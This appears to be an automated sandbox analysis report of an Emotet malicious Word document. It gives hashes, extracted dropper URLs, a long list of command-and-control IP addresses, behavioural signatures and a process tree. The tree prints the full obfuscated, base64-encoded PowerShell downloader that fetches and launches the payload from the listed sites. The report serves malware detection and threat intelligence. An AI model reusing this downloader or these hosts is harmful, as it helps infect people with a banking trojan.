emotet | 7b8d3b17ec0ad0b9701276b2c75c46c0d6ebe34228df6004864ff97e9aa3e41d

Analysis

max time kernel
136s
max time network
137s
platform
windows10_x64
resource
win10
submitted
19/10/2020, 11:08

Sharing

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General

Target
emotet_e1_7b8d3b17ec0ad0b9701276b2c75c46c0d6ebe34228df6004864ff97e9aa3e41d_2020-10-19__110652139824._doc.doc
Size 153KB
Sample201019-1n1qa44x2s
SHA256 7b8d3b17ec0ad0b9701276b2c75c46c0d6ebe34228df6004864ff97e9aa3e41d
MD5 ef20120d023055622f27ef3f56ee44d8
SHA1 6f272aeecaabcc4ac146ecc8a41cdddfc2e22f1c
SHA512 fb55e159685ae7f7a6c5482b5005b5ae82706bd882aa01299f0537b3f0fbb600a47fa562b90327aef41484614485bba4c9af2574f81309c146576147e5c8c4ca
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://tonolledo.com/docs/R6/
exe.dropper
http://jegsnet.com/wp-content/J/
exe.dropper
https://melrosebeautycenter.com/windows-10/MM/
exe.dropper
http://blog.gadzoom.net/wp-includes/g0/
exe.dropper
http://gtech.thngo58.com/zwift-level/xnH/
exe.dropper
https://hbrpatel.com/wp-content/amT/
exe.dropper
https://indiastartup360.com/wp-admin/Cm/

Extracted

Family

emotet

Botnet

Epoch1

2.45.176.233:80
98.103.204.12:443
172.86.186.21:8080
192.175.111.214:8080
109.190.249.106:80
177.144.130.105:8080
70.32.84.74:8080
192.81.38.31:80
138.97.60.140:8080
189.223.16.99:80
175.143.12.123:8080
190.115.18.139:8080
170.81.48.2:80
5.196.35.138:7080
172.104.169.32:8080
178.250.54.208:8080
185.94.252.27:443
46.105.114.137:8080
79.118.74.90:80
70.169.17.134:80
60.93.23.51:80
45.46.37.97:80
50.121.220.50:80
209.236.123.42:8080
138.97.60.141:7080
87.106.46.107:8080
212.71.237.140:8080
177.73.0.98:443
111.67.12.221:8080
83.169.21.32:7080
185.183.16.47:80
177.129.17.170:443
77.78.196.173:443
68.183.190.199:8080
51.38.124.206:80
64.201.88.132:80
174.118.202.24:443
177.74.228.34:80
190.24.243.186:80
188.157.101.114:80
202.134.4.210:7080
191.182.6.118:80
137.74.106.111:7080
189.2.177.210:443
186.222.250.115:8080
74.58.215.226:80
5.189.178.202:8080
105.209.235.113:8080
12.163.208.58:80
85.214.26.7:8080
37.187.161.206:8080
68.183.170.114:8080
46.101.58.37:8080
217.13.106.14:8080
5.89.33.136:80
177.23.7.151:80
188.135.15.49:80
45.33.77.42:8080
190.96.15.50:80
190.188.245.242:80
192.232.229.54:7080
46.43.2.95:8080
185.94.252.12:80
201.213.177.139:80
98.13.75.196:80
12.162.84.2:8080
190.190.219.184:80
51.255.165.160:8080
149.202.72.142:7080
213.52.74.198:80
81.215.230.173:443
192.241.143.52:8080
37.179.145.105:80
183.176.82.231:80
152.169.22.67:80
216.47.196.104:80
74.135.120.91:80
128.92.203.42:80
213.197.182.158:8080
94.176.234.118:443
177.144.130.105:443
181.129.96.162:8080
200.127.14.97:80
51.75.33.127:80
186.70.127.199:8090
109.190.35.249:80
104.131.41.185:8080
50.28.51.143:8080
51.15.7.189:80
1.226.84.243:8080
178.211.45.66:8080
219.92.13.25:80
103.236.179.162:80
51.15.7.145:80
186.103.141.250:443
24.232.228.233:80
70.32.115.157:8080
82.76.111.249:443
191.191.23.135:80
62.84.75.50:80
77.238.212.227:80
181.30.61.163:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1552	848	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2152-12-0x0000000002280000-0x000000000229C000-memory.dmp	emotet
behavioral2/memory/2152-13-0x00000000022A0000-0x00000000022BB000-memory.dmp	emotet
behavioral2/memory/2780-16-0x0000000000710000-0x000000000072C000-memory.dmp	emotet
behavioral2/memory/2780-17-0x0000000002150000-0x000000000216B000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
13	1552	POwersheLL.exe
15	1552	POwersheLL.exe
17	1552	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2152	P5nefek.exe
2780	amstream.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDLA\amstream.exe	P5nefek.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2460	WINWORD.EXE
2460	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1552	POwersheLL.exe
1552	POwersheLL.exe
1552	POwersheLL.exe
2780	amstream.exe
2780	amstream.exe
2780	amstream.exe
2780	amstream.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1552	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2460	WINWORD.EXE
2152	P5nefek.exe
2780	amstream.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 2780	2152	P5nefek.exe	83
PID 2152 wrote to memory of 2780	2152	P5nefek.exe	83
PID 2152 wrote to memory of 2780	2152	P5nefek.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_7b8d3b17ec0ad0b9701276b2c75c46c0d6ebe34228df6004864ff97e9aa3e41d_2020-10-19__110652139824._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2460

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgAFMAZQBUACAAIAAoACIAMgBHACIAKwAiADgAIgApACAAKABbAHQAeQBwAGUAXQAoACcAcwB5ACcAKwAnAFMAVABlACcAKwAnAG0AJwArACcALgBJAG8ALgBkAEkAcgAnACsAJwBFAGMAdABPAFIAJwArACcAeQAnACkAIAApADsAIAAgAHMAZQBUACAAIAAoACcAeAAnACsAJwByADkAJwApACAAKAAgAFsAdABZAHAAZQBdACgAJwBzACcAKwAnAHkAcwBUAGUATQAuAE4AZQBUAC4AUwBlAHIAdgBpAEMAZQAnACsAJwBwAE8ASQBuACcAKwAnAHQATQAnACsAJwBhACcAKwAnAG4AJwArACcAQQBnACcAKwAnAGUAJwArACcAUgAnACkAIAApADsAIAAgAHMAZQB0AC0AdgBhAFIAaQBBAGIATABlACAAIAAoACcAdgAnACsAJwBpAG4AagAnACsAJwBMAEsAJwApACAAKABbAHQAeQBwAGUAXQAoACcAcwAnACsAJwB5AFMAdABFAG0AJwArACcALgBuAEUAdAAuAHMAZQBjACcAKwAnAHUAJwArACcAUgBpAFQAeQBwACcAKwAnAFIATwBUACcAKwAnAE8AQwBPAEwAVAAnACsAJwB5AFAAZQAnACkAIAAgACkAIAAgADsAIAAgACQARgBwAF8AcQA4ADYAYQA9ACgAJwBYACcAKwAnAG8AOABpADMAeABxACcAKQA7ACQAWQBrADMANAB4AG4AMwA9ACQARABuAGoAawAzAHAAdwAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAFYAMwAwAGYAdQA3ADkAOwAkAEgAZgB3AGkAbwBsAGYAPQAoACcAWAB4ADMAJwArACcAagAnACsAJwBnAG8AZwAnACkAOwAgACQAMgBnADgAOgA6AEMAUgBlAEEAVABFAEQASQBSAEUAQwBUAE8AUgBZACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAJwBSAGoAYQBJADgANgB6AHkAYwAnACsAJwB3AFIAagAnACsAJwBhAFQAagB1ADYAZwAnACsAJwAwAGEAUgBqAGEAJwApACAALQByAGUAcABsAGEAQwBlACAAJwBSAGoAYQAnACwAWwBDAEgAQQByAF0AOQAyACkAKQA7ACQAVQBwADEANAAxADIANQA9ACgAJwBVADgAdwAnACsAJwBmADcANgB6ACcAKQA7ACAAKAAgACAAZABpAFIAIAAgACgAIgBWAEEAcgBpACIAKwAiAEEAIgArACIAYgBMAGUAIgArACIAOgB4AFIAOQAiACkAIAApAC4AdgBhAEwAVQBFADoAOgBTAEUAQwBVAFIASQB0AHkAUABSAG8AVABPAEMAbwBMACAAPQAgACAAIAAoACAAIAB2AGEAcgBpAEEAQgBMAEUAIAAgACgAJwB2ACcAKwAnAGkATgBqACcAKwAnAEwAawAnACkAIAAtAFYAYQBsACkAOgA6AHQAbABzADEAMgA7ACQATAA4ADAAdwBhAGkAMgA9ACgAJwBGACcAKwAnADMAbwBmACcAKwAnAHgAbQA4ACcAKQA7ACQARQBxAHoAMQBvAGUAMQAgAD0AIAAoACcAUAA1AG4AZQBmACcAKwAnAGUAawAnACkAOwAkAEkANQBwAHMAegBhAHYAPQAoACcAWQAyADUAJwArACcAagBwAHYAZQAnACkAOwAkAFIAOAB3ADkAbgB5AGUAPQAoACcAWgBnAHUAYwAnACsAJwBzAHUANwAnACkAOwAkAE4ANwBwAHYAaAB4AGUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAMABqADMASQA4ACcAKwAnADYAegB5AGMAJwArACcAdwAnACsAJwAwACcAKwAnAGoAMwBUAGoAdQA2ACcAKwAnAGcAJwArACcAMABhACcAKwAnADAAagAzACcAKQAgAC0AUgBlAHAATABhAEMARQAoAFsAQwBoAGEAcgBdADQAOAArAFsAQwBoAGEAcgBdADEAMAA2ACsAWwBDAGgAYQByAF0ANQAxACkALABbAEMAaABhAHIAXQA5ADIAKQArACQARQBxAHoAMQBvAGUAMQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAUQBwAGoAZwA0AGoAZQA9ACgAJwBGAG0AaAA4AHQAJwArACcAeQBhACcAKQA7ACQATABoAG0AZAAyAHYAdQA9AG4AYABlAFcALQBPAGIASgBgAEUAYwB0ACAAbgBlAFQALgBXAGUAQgBjAGwAaQBlAG4AVAA7ACQARgBsAHoAZgA4AHcAdgA9ACgAJwBoAHQAdABwADoALwAvACcAKwAnAHQAJwArACcAbwBuAG8AbABsACcAKwAnAGUAZABvACcAKwAnAC4AJwArACcAYwAnACsAJwBvAG0ALwAnACsAJwBkAG8AYwBzAC8AUgA2AC8AKgAnACsAJwBoAHQAdABwADoAJwArACcALwAvAGoAZQBnACcAKwAnAHMAbgBlAHQALgBjAG8AbQAvAHcAJwArACcAcAAnACsAJwAtACcAKwAnAGMAbwBuAHQAZQBuAHQALwBKAC8AKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AbQAnACsAJwBlAGwAJwArACcAcgBvAHMAZQAnACsAJwBiAGUAJwArACcAYQB1AHQAeQBjACcAKwAnAGUAbgB0AGUAcgAuAGMAbwAnACsAJwBtAC8AdwBpAG4AZABvAHcAcwAtADEAMAAvAE0ATQAvACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACsAJwBiAGwAbwBnAC4AZwBhAGQAegAnACsAJwBvAG8AbQAuAG4AZQB0AC8AJwArACcAdwBwAC0AJwArACcAaQBuAGMAbAB1AGQAZQBzAC8AZwAwAC8AKgBoAHQAdABwADoALwAvAGcAdABlAGMAaAAuAHQAaABuAGcAbwAnACsAJwA1ADgALgBjAG8AbQAvAHoAdwBpAGYAdAAtAGwAZQAnACsAJwB2AGUAbAAvAHgAbgAnACsAJwBIAC8AKgAnACsAJwBoAHQAdABwAHMAOgAvAC8AaABiAHIAJwArACcAcABhACcAKwAnAHQAZQBsAC4AYwAnACsAJwBvACcAKwAnAG0ALwB3AHAALQBjAG8AJwArACcAbgB0AGUAbgB0AC8AYQBtAFQAJwArACcALwAqAGgAdAB0AHAAcwA6AC8ALwBpAG4AJwArACcAZABpACcAKwAnAGEAcwB0AGEAJwArACcAcgB0AHUAcAAzACcAKwAnADYAMAAuAGMAbwAnACsAJwBtACcAKwAnAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8AJwArACcAQwBtAC8AJwApAC4AcwBwAGwASQB0ACgAJABSADMAcQBpAHQAbgBnACAAKwAgACQAWQBrADMANAB4AG4AMwAgACsAIAAkAFMAMABzAHQAcQBzAHQAKQA7ACQAVwBzAHgAYQBtADkAMwA9ACgAJwBVAG8AMQAnACsAJwBhAHIAaQA5ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQASgB4AHIANgB0AHQAcAAgAGkAbgAgACQARgBsAHoAZgA4AHcAdgApAHsAdAByAHkAewAkAEwAaABtAGQAMgB2AHUALgBkAE8AdwBOAEwAbwBBAEQAZgBJAEwARQAoACQASgB4AHIANgB0AHQAcAAsACAAJABOADcAcAB2AGgAeABlACkAOwAkAEQAdgBvADIAZAB4ADQAPQAoACcARwB2AHMANgAnACsAJwAyAHcAMwAnACkAOwBJAGYAIAAoACgARwBlAHQALQBgAEkAdABgAEUAbQAgACQATgA3AHAAdgBoAHgAZQApAC4ATABFAE4AZwB0AEgAIAAtAGcAZQAgADMANAA3ADgAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACcAaQBuADMAJwArACcAMgBfAFAAcgBvACcAKwAnAGMAZQBzAHMAJwApACkALgBDAFIAZQBBAHQARQAoACQATgA3AHAAdgBoAHgAZQApADsAJABWAGIAYgBiAGEAeQAyAD0AKAAnAEIAcgBlAHgAJwArACcAZwAnACsAJwBoAHIAJwApADsAYgByAGUAYQBrADsAJABFAG8ANwBlADQAbABoAD0AKAAnAEoAMwAyAHEAJwArACcAOQAnACsAJwB5AGcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAGgAeQBoADcAawBlAD0AKAAnAFEAMgAnACsAJwBiAGcAegB4ACcAKwAnAGMAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1552

C:\Users\Admin\I86zycw\Tju6g0a\P5nefek.exe
C:\Users\Admin\I86zycw\Tju6g0a\P5nefek.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2152
- C:\Windows\SysWOW64\KBDLA\amstream.exe
  "C:\Windows\SysWOW64\KBDLA\amstream.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2780

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1552-7-0x00007FFBBB430000-0x00007FFBBBE1C000-memory.dmp

Download

memory/1552-9-0x0000017FDC5E0000-0x0000017FDC5E1000-memory.dmp

Download

memory/1552-8-0x0000017FDC430000-0x0000017FDC431000-memory.dmp

Download

memory/2152-12-0x0000000002280000-0x000000000229C000-memory.dmp

Download

memory/2152-13-0x00000000022A0000-0x00000000022BB000-memory.dmp

Download

memory/2460-6-0x000001CF529A7000-0x000001CF529B8000-memory.dmp

Download

memory/2460-5-0x000001CF50861000-0x000001CF50872000-memory.dmp

Download

memory/2460-4-0x000001CF50857000-0x000001CF50860000-memory.dmp

Download

memory/2460-3-0x000001CF50861000-0x000001CF50872000-memory.dmp

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memory/2460-2-0x000001CF50861000-0x000001CF50872000-memory.dmp

Download

memory/2460-0-0x00007FFBC2C00000-0x00007FFBC32C6000-memory.dmp

Download

memory/2460-1-0x000001CF50860000-0x000001CF50870000-memory.dmp

Download

memory/2780-16-0x0000000000710000-0x000000000072C000-memory.dmp

Download

memory/2780-17-0x0000000002150000-0x000000000216B000-memory.dmp

Download